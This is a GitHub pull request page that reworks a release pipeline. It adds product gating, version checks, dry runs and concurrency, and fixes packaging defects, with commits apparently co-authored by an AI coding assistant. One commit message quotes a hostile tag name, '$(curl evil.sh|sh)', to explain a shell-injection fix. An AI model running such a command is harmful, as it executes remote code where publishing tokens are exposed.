Skip to content

The release pipeline published the wrong product, unsequenced, and could not package t27c - #2753

Merged
gHashTag merged 6 commits into
masterfrom
w699-release-pipeline
Aug 28, 2026
Merged

The release pipeline published the wrong product, unsequenced, and could not package t27c#2753
gHashTag merged 6 commits into
masterfrom
w699-release-pipeline

Conversation

@gHashTag

Copy link
Copy Markdown
Owner

Refs #2161

Publishing t27c-v0.2.0 was about to fire this pipeline. It does not do what its name says.

What it did

Nine runs, nine failures, zero successes — and "failed" did not mean nothing happened:

run overall but this leg succeeded permanent result
2026-04-07 v0.3.0 failure Publish to PyPI golden-float 0.1.0 burned on PyPI
2026-05-15 v1.0.0 failure Publish to crates.io golden-float-ffi 0.1.0 burned on crates.io

Nothing sequenced the jobs — no needs: between publishers, no concurrency in any of the four workflows that fire on release: published — so one leg's failure left another's publication standing. That is the state the registries are in today: 0.1.0 exists on PyPI and crates.io, absent from npm, written by runs that both reported failure.

And a tag reading t27c-v0.2.0 fired all of it:

  • npmgolden-float, a name that is unclaimed, so it would have been permanently taken
  • crates.iogolden-float-ffi 0.1.0, which already exists → fails
  • Zenodo ← deposition 19456875, which is the GoldenFloat paper's DOI record, using .zenodo.json, which describes T27
  • t27c itself → published nowhere

Four rules

  1. Product gate. A tag names its product — t27c-v* or golden-float-v* — and only that product's jobs run. Every publishing job needs: preflight; there is no path to a registry that skips it.
  2. Version truth. Preflight fails, naming the file to edit, unless every manifest for that product already says what the tag says — including .zenodo.json, which mints a DOI and is checked against the product it describes.
  3. Dry run first. cargo publish --dry-run plus a live query of crates.io and PyPI for the exact version, before any registry is written.
  4. Concurrency. All four release workflows take a per-tag group with cancel-in-progress: false — cancelling mid-publish is how a partial publish is made.

Zenodo now looks its deposition up per product from a repository variable and skips, loudly, when none is set. A DOI can be minted later; one minted into another work's record cannot be unminted.

Two things that made t27c unpublishable, found by rehearsing

  • bootstrap/bootstrap/specs/physics/formula_registry.t27 — a symlink to ../../specs/physics/… that resolves to nothing, committed by feat(clara): Complete DARPA CLARA PA-25-07-02 submission package #408 and broken ever since. cargo package dies on it with "Too many levels of symbolic links (os error 62)". tools/specs_generate_baseline.txt has been recording that same error as accepted debt.
  • bootstrap/build.rs enforces repository policy by reading files outside the package (../docs/.legacy-non-english-docs and friends). A published crate is unpacked alone, so the build script killed the build. It now detects that it is not in the repository and skips the repo-owned checks, saying so.
  • src/memory/mod.rs included two generated files from ../../../gen/, outside the package — cargo cannot put those in the tarball, so verification died on "couldn't read src/memory/../../../gen/rust/memory/formula_embed.rs". Both are small, both are committed, and nothing else in the tree referenced those paths; they move to src/memory/generated/.

Rehearsed, not assumed

In a fresh clone, which is what CI checks out:

cargo publish --dry-run --manifest-path bootstrap/Cargo.toml
  Packaged 307 files, 5.9MiB (1.3MiB compressed)
  Verifying t27c v0.2.0
  Finished `dev` profile in 58.05s
  Uploading t27c v0.2.0
exit 0

Preflight's own logic, run by hand against the real tag and three bad ones:

t27c-v0.2.0          -> product t27c, 0.2.0; Cargo.toml matches; .zenodo.json matches; crates.io free
t27c-v9.9.9          -> STOP: bootstrap/Cargo.toml says '0.2.0', tag says '9.9.9'
golden-float-v0.1.0  -> STOP: PyPI already has golden-float 0.1.0
random-tag           -> STOP: tag names no product

Suite 2424 passed / 0 failed, seal gate exit 0, check_gate_preconditions.py exit 0.

(cargo package still fails inside a git worktree on this machine — an artifact of this working copy, refuted as a repo defect by cloning and by building the crate in isolation.)

🤖 Generated with Claude Code

gHashTag and others added 3 commits August 28, 2026 20:21
…and could not package t27c

Nine runs, nine failures, zero successes -- and "failed" did not mean nothing
happened. The 2026-04-07 run failed overall while its PyPI leg SUCCEEDED and
burned golden-float 0.1.0; the 2026-05-15 run failed overall while its crates.io
leg SUCCEEDED and burned golden-float-ffi 0.1.0. Neither number can be reused.
Nothing sequenced the jobs, so one leg's failure left another's publication
standing. That is the state the registries are in today.

A tag reading t27c-v0.2.0 fired all of it: `golden-float` to npm, where the name
is unclaimed and would have been permanently taken; `golden-float-ffi` 0.1.0 to
crates.io, which already has it; and a Zenodo deposit into record 19456875,
which is the GoldenFloat PAPER's DOI, using .zenodo.json, which describes T27.
`t27c` itself was published nowhere.

Four things:

1. PRODUCT GATE. A tag names its product -- t27c-v* or golden-float-v* -- and
   only that product's jobs run. Every publishing job now `needs: preflight`;
   there is no path to a registry that skips it.

2. VERSION TRUTH. Preflight fails, naming the file to edit, unless every
   manifest for that product already says what the tag says -- including
   .zenodo.json, which mints a DOI and is checked against the product it
   describes.

3. DRY RUN FIRST. `cargo publish --dry-run` plus a live query of crates.io and
   PyPI for the exact version, before any registry is written. A version that
   already exists now fails the rehearsal instead of failing a real publish
   after some other leg has written.

4. CONCURRENCY. All four release workflows take a per-tag group with
   cancel-in-progress: false. Cancelling mid-publish is how a partial publish is
   made.

Zenodo now looks its deposition up per product from a repository variable and
SKIPS, loudly, when none is set. A DOI can be minted later; one minted into
another work's record cannot be unminted.

Two things blocked publishing t27c at all, both found by rehearsing:

- `bootstrap/bootstrap/specs/physics/formula_registry.t27` is a symlink to
  `../../specs/physics/...` that resolves to nothing, committed by #408 and
  broken ever since. `cargo package` dies on it: "Too many levels of symbolic
  links (os error 62)". tools/specs_generate_baseline.txt has been recording
  that same error as accepted debt. Removed.

- `bootstrap/build.rs` enforces REPOSITORY policy by reading files outside the
  package (../docs/.legacy-non-english-docs and friends). A published crate is
  unpacked alone, so those are absent and the build script killed the build. It
  now detects that it is not in the repository and skips the repo-owned checks,
  saying so.

Rehearsed in a fresh clone, which is what CI checks out: `cargo package --list`
now succeeds where it exited 101. (It still fails inside a git worktree -- an
artifact of this working copy, refuted as a repo defect by cloning.)

Refs #2161

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
src/memory/mod.rs included them from ../../../gen/, outside the package. Cargo
cannot put a file outside the package into the tarball, so `cargo publish` got
as far as compiling the packaged crate and died on

    couldn't read `src/memory/../../../gen/rust/memory/formula_embed.rs`

Both files are small, generated from .t27 specs, and nothing else in the tree
referenced those paths. They move to src/memory/generated/ and the regeneration
command in the comment moves with them.

Refs #2161

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Refs #2161

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@github-actions

Copy link
Copy Markdown
Contributor

📓 NotebookLM Notebook linked to this PR

This notebook contains session context, decisions, and artifacts for this work.

@github-actions

Copy link
Copy Markdown
Contributor

PR Dashboard

Generated at: 2026-08-28 13:29:00 UTC

Summary

Status Count
Total Open PRs 8
PRs with Failing Checks 7
PRs with All Checks Green 1
READY 0
FAILING 7
PENDING 0

Seal Status

  • ⚠️ STALE -- sha256(compiler.rs)=25a9c40dc273 != manifest seal=87e5cbd3ad94.
    The committed NMSE numbers were certified against an older compiler.rs.
    Run scripts/reseal-check.sh locally for the two-step reseal command (advisory; not a merge gate).

… them compiled

Seventeen ring crates sit under rings/ring-*-rust and, exactly like `ffi`, are
listed in neither `workspace.members` nor `workspace.exclude`. Every `cargo
check` in them died on manifest load:

    error: current package believes it's in a workspace when it's not

This was invisible because rings-rust.yml is path-filtered and one of its paths
is the root `Cargo.toml`. Nothing had touched that file in a long time, so the
workflow had not run, and "not failing" was reading as "passing". Editing
Cargo.toml for the release fix woke all seventeen at once.

With `rings` excluded, sixteen compile. The seventeenth had a real defect that
had never been reachable: ring-094 assigned `task.state = TaskState::Failed` and
dropped the task out of the queue on the next line, so the write was dead and
`#![deny(warnings)]` refused it. Removed -- behaviour is identical. If an
expired task is meant to be RECORDED as failed rather than forgotten, that is a
change to what the function does and wants deciding on purpose.

    rings compiling: 0 of 17 -> 17 of 17

t27c suite unchanged at 2424 passed / 0 failed.

Refs #2161

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@github-actions

Copy link
Copy Markdown
Contributor

📓 NotebookLM Notebook linked to this PR

This notebook contains session context, decisions, and artifacts for this work.

@github-actions

Copy link
Copy Markdown
Contributor

PR Dashboard

Generated at: 2026-08-28 13:45:34 UTC

Summary

Status Count
Total Open PRs 8
PRs with Failing Checks 7
PRs with All Checks Green 1
READY 0
FAILING 7
PENDING 0

Seal Status

  • ⚠️ STALE -- sha256(compiler.rs)=25a9c40dc273 != manifest seal=87e5cbd3ad94.
    The committed NMSE numbers were certified against an older compiler.rs.
    Run scripts/reseal-check.sh locally for the two-step reseal command (advisory; not a merge gate).

…lation

`${{ github.event.release.tag_name }}` was interpolated straight into two
`run:` blocks. A tag name is attacker-controlled text, and interpolated there it
IS shell: a release tagged $(curl evil.sh|sh) executes it on a runner holding
CRATES_TOKEN, NODE_AUTH_TOKEN and ZENODO_TOKEN.

It comes through `env:` now, where the shell sees a variable and never a
substitution. The Untrusted Input gate caught this on the commit that introduced
it, which is the gate working.

The two remaining interpolations are in `concurrency: group:`, which is not a
shell context.

Refs #2161

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@github-actions

Copy link
Copy Markdown
Contributor

PR Dashboard

Generated at: 2026-08-28 13:58:19 UTC

Summary

Status Count
Total Open PRs 8
PRs with Failing Checks 7
PRs with All Checks Green 1
READY 0
FAILING 7
PENDING 0

Seal Status

  • ⚠️ STALE -- sha256(compiler.rs)=25a9c40dc273 != manifest seal=87e5cbd3ad94.
    The committed NMSE numbers were certified against an older compiler.rs.
    Run scripts/reseal-check.sh locally for the two-step reseal command (advisory; not a merge gate).

@github-actions

Copy link
Copy Markdown
Contributor

📓 NotebookLM Notebook linked to this PR

This notebook contains session context, decisions, and artifacts for this work.

…xists, and 45 that now generate

Removing the broken symlink at bootstrap/bootstrap/specs/physics/formula_registry.t27
took its ledger line's subject with it, and the gate said exactly the right
thing:

    They did not start generating -- they left the measured set, which
    reads as progress in the count below and is not. Drop their ledger
    lines in the same commit that removes them, deliberately.

Done. The gate also had a standing NOTE that 46 baselined specs now generate --
one of them specs/ar/asp_solver.t27, whose unclosed bracket was fixed in #2742.
Those lines are removed too, so the gate holds them from here:

    specs_generate_baseline.txt: 151 lines -> 105
    OK: 716 specs, 613 generate, 103 known-broken

This gate demonstrated its own control in the process: it caught a real change
of mine on the commit that made it, and named the repair.

Refs #2161

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@github-actions

Copy link
Copy Markdown
Contributor

PR Dashboard

Generated at: 2026-08-28 14:13:08 UTC

Summary

Status Count
Total Open PRs 8
PRs with Failing Checks 7
PRs with All Checks Green 1
READY 0
FAILING 7
PENDING 0

Seal Status

  • ⚠️ STALE -- sha256(compiler.rs)=25a9c40dc273 != manifest seal=87e5cbd3ad94.
    The committed NMSE numbers were certified against an older compiler.rs.
    Run scripts/reseal-check.sh locally for the two-step reseal command (advisory; not a merge gate).

@github-actions

Copy link
Copy Markdown
Contributor

📓 NotebookLM Notebook linked to this PR

This notebook contains session context, decisions, and artifacts for this work.

@gHashTag
gHashTag merged commit 85c55fd into master Aug 28, 2026
50 of 53 checks passed
@gHashTag
gHashTag deleted the w699-release-pipeline branch August 28, 2026 14:23
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant